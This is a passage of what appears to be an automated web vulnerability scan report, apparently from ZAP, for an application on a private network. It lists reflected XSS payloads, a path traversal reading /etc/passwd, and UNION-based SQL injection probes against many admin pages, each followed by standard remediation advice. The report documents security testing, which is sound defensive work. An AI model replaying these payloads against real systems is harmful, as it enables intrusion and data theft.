oftentimes take place when the vulnerable resource only accepts HTTP POST requests. In 
such a case, the form can be submitted automatically, without the victim's knowledge (e.g. 
by using JavaScript). Upon clicking on the malicious link or submitting the malicious form, 
the XSS payload will get echoed back and will get interpreted by the user's browser and 
execute. Another technique to send almost arbitrary requests (GET and POST) is by using 
an embedded client, such as Adobe Flash.

Persistent attacks occur when the malicious code is submitted to a web site where it's 
stored for a period of time. Examples of an attacker's favorite targets often include message 
board posts, web mail messages, and web chat software. The unsuspecting user is not 
required to interact with any additional site/link (e.g. an attacker site or a malicious link sent 
via email), just simply view the web page containing the code.

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=%22%3E%3CscrIpt%3Ealert%
281%29%3B%3C%2FscRipt%3E

Method GET

Attack "><scrIpt>alert(1);</scRipt>
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Evidence "><scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/OOS/confirm_order.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/OOS/delete_order.php?id=%27%22%3CscrIpt%3Ealert%
281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/OOS/view_order.php?id=%27%22%3CscrIpt%3Ealert%
281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/delete_category.php?id=%27%22%
3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=%22%3E%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack "><scrIpt>alert(1);</scRipt>

Evidence "><scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/SERVER/delete_user_type.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>
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Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/confirm_order.php?id=%27%22%
3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/delete_order.php?id=%27%22%
3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/view_order.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/product_details.php?+id=%27%22%3CscrIpt%3Ealert%281%29%3B%
3C%2FscRipt%3E

Method GET

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/ADS/

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/ADS/

Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php
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Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method POST

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/ADS/index.php

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/ADS/index.php

Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/ADS/messages_box.php

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method POST

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/AS/

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/AS/

Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php

http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=%27%22%3CscrIpt%3Ealert%281%29%3B%3C%2FscRipt%3E
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Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php

Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method POST

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/AS/index.php

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/AS/index.php

Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/AS/print_products.php

Method POST

Attack </center><scrIpt>alert(1);</scRipt><center>

Evidence </center><scrIpt>alert(1);</scRipt><center>

URL http://192.168.1.10/admin/ADMIN/AS/print_products.php

Method POST

Attack </center><scrIpt>alert(1);</scRipt><center>

Evidence </center><scrIpt>alert(1);</scRipt><center>

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=%22%3E%3CscrIpt%3Ealert%
281%29%3B%3C%2FscRipt%3E

Method POST

Attack "><scrIpt>alert(1);</scRipt>

Evidence "><scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/OOS/
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Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/OOS/

Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php

Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method POST

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/OOS/index.php

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/OOS/index.php

Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/OOS/print_orders.php

Method POST

Attack </div><scrIpt>alert(1);</scRipt><div>

Evidence </div><scrIpt>alert(1);</scRipt><div>

URL http://192.168.1.10/admin/ADMIN/OOS/print_orders.php
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Method POST

Attack </div><scrIpt>alert(1);</scRipt><div>

Evidence </div><scrIpt>alert(1);</scRipt><div>

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/announcement_detail.php

Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/SERVER/ADS/messages_box.php

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/announcement_detail.php

Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method POST

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php

Method POST

Attack </center><scrIpt>alert(1);</scRipt><center>

Evidence </center><scrIpt>alert(1);</scRipt><center>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/print_products.php

Method POST

Attack </center><scrIpt>alert(1);</scRipt><center>

Evidence </center><scrIpt>alert(1);</scRipt><center>

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=%22%3E%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method POST

Attack "><scrIpt>alert(1);</scRipt>

Evidence "><scrIpt>alert(1);</scRipt>
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URL 3Ealert%281%29%3B%3C%2FscRipt%3E

Method POST

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=%27%22%3CscrIpt%
3Ealert%281%29%3B%3C%2FscRipt%3E

Method POST

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method POST

Attack javascript:alert(1);

Evidence javascript:alert(1);

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/announcement_detail.php

Method POST

Attack </strong><scrIpt>alert(1);</scRipt><strong>

Evidence </strong><scrIpt>alert(1);</scRipt><strong>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php

Method POST

Attack </div><scrIpt>alert(1);</scRipt><div>

Evidence </div><scrIpt>alert(1);</scRipt><div>

URL http://192.168.1.10/admin/ADMIN/SERVER/OOS/print_orders.php

Method POST

Attack </div><scrIpt>alert(1);</scRipt><div>

Evidence </div><scrIpt>alert(1);</scRipt><div>

URL http://192.168.1.10/product_details.php?+id=%27%22%3CscrIpt%3Ealert%281%29%3B%
3C%2FscRipt%3E

Method POST

Attack '"<scrIpt>alert(1);</scRipt>

Evidence '"<scrIpt>alert(1);</scRipt>

Instances 69

Phase: Architecture and Design

Use a vetted library or framework that does not allow this weakness to occur or provides 
constructs that make this weakness easier to avoid.

Examples of libraries and frameworks that make it easier to generate properly encoded 
output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and 
Apache Wicket.

Phases: Implementation; Architecture and Design

Understand the context in which your data will be used and the encoding that will be 
expected. This is especially important when transmitting data between different 
components, or when generating outputs that can contain multiple encodings at the same 
time, such as web pages or multi-part mail messages. Study all expected communication 
protocols and data representations to determine the required encoding strategies.
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Solution

For any data that will be output to another web page, especially any data that was received 
from external inputs, use the appropriate encoding on all non-alphanumeric characters.

Consult the XSS Prevention Cheat Sheet for more details on the types of encoding and 
escaping that are needed.

Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are 
duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-
side checks by modifying values after the checks have been performed, or by changing the 
client to remove the client-side checks entirely. Then, these modified values would be 
submitted to the server.

If available, use structured mechanisms that automatically enforce the separation between 
data and code. These mechanisms may be able to provide the relevant quoting, encoding, 
and validation automatically, instead of relying on the developer to provide this capability at 
every point where output is generated.

Phase: Implementation

For every web page that is generated, use and specify a character encoding such as ISO-
8859-1 or UTF-8. When an encoding is not specified, the web browser may choose a 
different encoding by guessing which encoding is actually being used by the web page. This 
can cause the web browser to treat certain sequences as special, opening up the client to 
subtle XSS attacks. See CWE-116 for more mitigations related to encoding/escaping.

To help mitigate XSS attacks against the user's session cookie, set the session cookie to be 
HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of 
Internet Explorer and Firefox), this attribute can prevent the user's session cookie from 
being accessible to malicious client-side scripts that use document.cookie. This is not a 
complete solution, since HttpOnly is not supported by all browsers. More importantly, 
XMLHTTPRequest and other powerful browser technologies provide read access to HTTP 
headers, including the Set-Cookie header in which the HttpOnly flag is set.

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., 
use an allow list of acceptable inputs that strictly conform to specifications. Reject any input 
that does not strictly conform to specifications, or transform it into something that does. Do 
not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny 
list). However, deny lists can be useful for detecting potential attacks or determining which 
inputs are so malformed that they should be rejected outright.

When performing input validation, consider all potentially relevant properties, including 
length, type of input, the full range of acceptable values, missing or extra inputs, syntax, 
consistency across related fields, and conformance to business rules. As an example of 
business rule logic, "boat" may be syntactically valid because it only contains alphanumeric 
characters, but it is not valid if you are expecting colors such as "red" or "blue."

Ensure that you perform input validation at well-defined interfaces within the application. 
This will help protect the application even if a component is reused or moved elsewhere.

Reference  http://projects.webappsec.org/Cross-Site-Scripting
http://cwe.mitre.org/data/definitions/79.html

CWE Id 79

WASC Id 8

Plugin Id 40012

High Path Traversal

The Path Traversal attack technique allows an attacker access to files, directories, and 
commands that potentially reside outside the web document root directory. An attacker may 
manipulate a URL in such a way that the web site will execute or reveal the contents of 
arbitrary files anywhere on the web server. Any device that exposes an HTTP-based 
interface is potentially vulnerable to Path Traversal.

Most web sites restrict user access to a specific portion of the file-system, typically called 
the "web document root" or "CGI root" directory. These directories contain the files intended 

http://projects.webappsec.org/Cross-Site-Scripting
http://cwe.mitre.org/data/definitions/79.html
https://cwe.mitre.org/data/definitions/79.html
https://www.zaproxy.org/docs/alerts/40012/


Description

for user access and the executable necessary to drive web application functionality. To 
access files or execute commands anywhere on the file-system, Path Traversal attacks will 
utilize the ability of special-characters sequences.

The most basic Path Traversal attack uses the "../" special-character sequence to alter the 
resource location requested in the URL. Although most popular web servers will prevent 
this technique from escaping the web document root, alternate encodings of the "../" 
sequence may help bypass the security filters. These method variations include valid and 
invalid Unicode-encoding ("..%u2216" or "..%c0%af") of the forward slash character, 
backslash characters ("..\") on Windows-based servers, URL encoded characters "%2e%
2e%2f"), and double URL encoding ("..%255c") of the backslash character.

Even if the web server properly restricts Path Traversal attempts in the URL path, a web 
application itself may still be vulnerable due to improper handling of user-supplied input. 
This is a common problem of web applications that use template mechanisms or load static 
text from files. In variations of the attack, the original URL parameter value is substituted 
with the file name of one of the web application's dynamic scripts. Consequently, the results 
can reveal source code because the file is interpreted as text instead of an executable 
script. These techniques often employ additional special characters such as the dot (".") to 
reveal the listing of the current working directory, or "%00" NULL characters in order to 
bypass rudimentary file extension checks.

URL http://192.168.1.10/affix.php?type=%2Fetc%2Fpasswd

Method GET

Attack /etc/passwd

Evidence root:x:0:0

Instances 1

Solution

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., 
use an allow list of acceptable inputs that strictly conform to specifications. Reject any input 
that does not strictly conform to specifications, or transform it into something that does. Do 
not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a deny 
list). However, deny lists can be useful for detecting potential attacks or determining which 
inputs are so malformed that they should be rejected outright.

When performing input validation, consider all potentially relevant properties, including 
length, type of input, the full range of acceptable values, missing or extra inputs, syntax, 
consistency across related fields, and conformance to business rules. As an example of 
business rule logic, "boat" may be syntactically valid because it only contains alphanumeric 
characters, but it is not valid if you are expecting colors such as "red" or "blue."

For filenames, use stringent allow lists that limit the character set to be used. If feasible, 
only allow a single "." character in the filename to avoid weaknesses, and exclude directory 
separators such as "/". Use an allow list of allowable file extensions.

Warning: if you attempt to cleanse your data, then do so that the end result is not in the 
form that can be dangerous. A sanitizing mechanism can remove characters such as '.' and 
';' which may be required for some exploits. An attacker can try to fool the sanitizing 
mechanism into "cleaning" data into a dangerous form. Suppose the attacker injects a '.' 
inside a filename (e.g. "sensi.tiveFile") and the sanitizing mechanism removes the character 
resulting in the valid filename, "sensitiveFile". If the input data are now assumed to be safe, 
then the file may be compromised.

Inputs should be decoded and canonicalized to the application's current internal 
representation before being validated. Make sure that your application does not decode the 
same input twice. Such errors could be used to bypass allow list schemes by introducing 
dangerous inputs after they have been checked.

Use a built-in path canonicalization function (such as realpath() in C) that produces the 
canonical version of the pathname, which effectively removes ".." sequences and symbolic 
links.

Run your code using the lowest privileges that are required to accomplish the necessary 
tasks. If possible, create isolated accounts with limited privileges that are only used for a 

http://192.168.1.10/affix.php?type=%2Fetc%2Fpasswd


single task. That way, a successful attack will not immediately give the attacker access to 
the rest of the software or its environment. For example, database applications rarely need 
to run as the database administrator, especially in day-to-day operations.

When the set of acceptable objects, such as filenames or URLs, is limited or known, create 
a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or 
URLs, and reject all other inputs.

Run your code in a "jail" or similar sandbox environment that enforces strict boundaries 
between the process and the operating system. This may effectively restrict which files can 
be accessed in a particular directory or which commands can be executed by your software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, 
managed code may provide some protection. For example, java.io.FilePermission in the 
Java SecurityManager allows you to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the 
rest of your application may still be subject to compromise.

Reference  http://projects.webappsec.org/Path-Traversal
http://cwe.mitre.org/data/definitions/22.html

CWE Id 22

WASC Id 33

Plugin Id 6

High SQL Injection - MySQL

Description SQL injection may be possible.

URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method GET

Attack 1' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/ADS/edit_announcement.php?id=1

Method GET

Attack 1' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5

Method GET

Attack 5' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method GET

Attack 1' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=1

Method GET

Attack 1' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10

Method GET

Attack 10' UNION ALL select NULL --

http://projects.webappsec.org/Path-Traversal
http://cwe.mitre.org/data/definitions/22.html
https://cwe.mitre.org/data/definitions/22.html
https://www.zaproxy.org/docs/alerts/6/
http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/edit_announcement.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/AS/edit_product.php?id=1
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10


Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11

Method GET

Attack 11' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

Method GET

Attack 1' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method GET

Attack 5' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=1

Method GET

Attack 1' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11

Method GET

Attack 11' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method GET

Attack 2' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method GET

Attack 3' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method GET

Attack 2' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

Method GET

Attack 4' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/product_details.php?%20id=11

Method GET

Attack 11' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_product.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4
http://192.168.1.10/product_details.php?%20id=11


URL http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1

Method POST

Attack 1' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5

Method POST

Attack 5' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1

Method POST

Attack 1' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10

Method POST

Attack 10' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1

Method POST

Attack 1' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5

Method POST

Attack 5' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11

Method POST

Attack 11' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2

Method POST

Attack 2' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3

Method POST

Attack 3' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2

Method POST

Attack 2' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4

http://192.168.1.10/admin/ADMIN/ADS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/ADS/View_Customer.php?id=5
http://192.168.1.10/admin/ADMIN/AS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/AS/view_product.php?id=10
http://192.168.1.10/admin/ADMIN/OOS/announcement_detail.php?id=1
http://192.168.1.10/admin/ADMIN/SERVER/AS/edit_category.php?id=5
http://192.168.1.10/admin/ADMIN/SERVER/AS/view_product.php?id=11
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user.php?id=3
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=2
http://192.168.1.10/admin/ADMIN/SERVER/edit_user_type.php?id=4


Method POST

Attack 4' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

URL http://192.168.1.10/product_details.php?%20id=11

Method POST

Attack 11' UNION ALL select NULL --

Evidence The used SELECT statements have a different number of columns

Instances 28

Solution

Do not trust client side input, even if there is client side validation in place.

In general, type check all data on the server side.

If the application uses JDBC, use PreparedStatement or CallableStatement, with 
parameters passed by '?'

If the application uses ASP, use ADO Command Objects with strong type checking and 
parameterized queries.

If database Stored Procedures can be used, use them.

Do *not* concatenate strings into queries in the stored procedure, or use 'exec', 'exec 
immediate', or equivalent functionality!

Do not create dynamic SQL queries using simple string concatenation.

Escape all data received from the client.

Apply an 'allow list' of allowed characters, or a 'deny list' of disallowed characters in user 
input.

Apply the principle of least privilege by using the least privileged database user possible.

In particular, avoid using the 'sa' or 'db-owner' database users. This does not eliminate SQL 
injection, but minimizes its impact.

Grant the minimum database access that is necessary for the application.

Reference https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.
html

CWE Id 89

WASC Id 19

Plugin Id 40018

Medium .htaccess Information Leak

Description
htaccess files can be used to alter the configuration of the Apache Web Server software to 
enable/disable additional functionality and features that the Apache Web Server software 
has to offer.

URL http://192.168.1.10:80/cgi-bin/test-cgi/.htaccess

Method GET

Attack

Evidence HTTP/1.1 200 OK

Instances 1

Solution Ensure the .htaccess file is not accessible.

Reference http://www.htaccess-guide.com/

CWE Id 94

http://192.168.1.10/product_details.php?%20id=11
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html
https://cwe.mitre.org/data/definitions/89.html
https://www.zaproxy.org/docs/alerts/40018/
http://192.168.1.10:80/cgi-bin/test-cgi/.htaccess
http://www.htaccess-guide.com/
https://cwe.mitre.org/data/definitions/94.html


WASC Id 14

Plugin Id 40032

Medium Absence of Anti-CSRF Tokens

Description

